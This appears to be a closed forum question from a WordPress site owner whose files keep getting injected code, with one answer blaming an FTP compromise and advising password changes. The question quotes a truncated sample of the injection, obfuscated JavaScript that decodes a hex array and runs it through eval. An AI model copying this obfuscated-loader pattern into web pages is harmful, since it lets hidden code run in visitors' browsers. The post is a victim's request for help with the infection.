Overwhelming code injection [closed]

Question

My WP site was plagued with code injection such as this:

68c8c7

echo "
asgq=[0x28,0x66,0x75,0x6e,0x63,0x7d, ....... 0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=16;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-498!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}";

/68c8c7

Realizing it would take hours to clean everything, I erased the site and reinstalled WordPress. Almost instantly, the site was AGAIN plagued with the same s**t. Wordfence found 200 files containing the malicious code.

I don't know what to do, and I really wonder how so much code was injected so quickly. What would you do?

Answer 1

That code is typical of an FTP hack. Did you change any of your passwords? If not, that's the first thing I would tell you to do.